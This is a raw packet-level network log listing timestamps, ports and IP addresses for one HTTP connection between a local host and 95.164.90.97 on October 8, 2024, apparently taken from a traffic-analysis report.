Oct 8, 2024 02:45:32.164366007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164374113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164397955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164407015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164450884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164460897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164490938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164776087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164808035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164822102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164840937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164849043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164874077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164880991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164911032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164912939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164954901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164963007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164994955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165003061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165029049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165035009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165061951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165067911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165102005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165111065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165144920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165152073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165177107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165184975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165210009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165216923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165242910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165250063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165276051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165281057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165308952 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165318012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165343046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165348053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165374994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165381908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165406942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165414095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165438890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165445089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165472984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165478945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165512085 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165781975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165819883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165833950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165852070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165859938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165890932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165935040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165966988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.165976048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.165998936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166008949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166033030 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166042089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166071892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166085958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166117907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166126013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166151047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166157961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166182995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166189909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166215897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166220903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166249990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166254044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166295052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166610003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166641951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166659117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166673899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166682959 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166707039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166713953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166740894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166745901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166778088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166790962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166824102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166831970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166856050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166867018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166889906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166902065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166929007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.166938066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166970968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.166980982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.167004108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.167009115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.167037010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.167043924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.167068958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.167076111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.167102098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.167108059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.167133093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.167140961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.167165995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.167171955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.167197943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.167205095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.167232037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.167237043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.167270899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.167819023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.167851925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.167870045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.167884111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.167892933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.167917013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.167922974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.167957067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.167964935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.167998075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168005943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168030024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168037891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168062925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168068886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168092012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168102980 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168133020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168148041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168179989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168188095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168211937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168219090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168246031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168251038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168278933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168283939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168311119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168317080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168343067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168349981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168375969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168382883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168407917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168415070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168442011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168448925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168473959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168482065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168514967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168776989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168808937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168826103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168838978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168853045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168859005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168869019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168883085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168895006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168899059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.168910980 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.168939114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.253649950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.253684998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.253719091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.253750086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.253799915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.253830910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.253851891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.253863096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.253885984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.253895044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.253909111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.253940105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.253945112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.253977060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.253985882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254009008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254018068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254043102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254050970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254084110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254316092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254348040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254360914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254381895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254390955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254410028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254422903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254452944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254458904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254492044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254499912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254523993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254532099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254558086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254564047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254595995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254606962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254641056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254650116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254673004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254682064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254709005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254714012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254738092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254757881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254770041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254774094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254806042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254813910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254837990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254849911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254870892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254878044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254903078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254911900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254935026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.254945993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.254975080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255105972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255136967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255148888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255170107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255177021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255212069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255256891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255289078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255300045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255321026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255328894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255353928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255362034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255407095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255438089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255470037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255515099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255613089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255645990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255657911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255676985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255688906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255709887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255718946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255743980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255749941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255776882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255785942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255817890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.255820990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.255857944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256083012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256115913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256127119 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256149054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256155968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256181002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256190062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256213903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256222963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256247044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256253004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256278992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256287098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256310940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256319046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256342888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256351948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256376028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256385088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256411076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256417036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256452084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256715059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256747007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256766081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256830931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256848097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256872892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256880045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256912947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256922007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256944895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256953001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.256978035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.256984949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257019043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257055998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257083893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257097960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257116079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257124901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257149935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257157087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257181883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257189989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257221937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257234097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257265091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257275105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257297993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257304907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257339954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257385969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257427931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257518053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257550001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257561922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257579088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257590055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257612944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257621050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257646084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257653952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257679939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257683992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257713079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.257720947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257751942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.257992983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258024931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258043051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258057117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258063078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258090019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258099079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258122921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258126974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258155107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258163929 CEST	51293	80	192.168.2.4	95.164.90.97
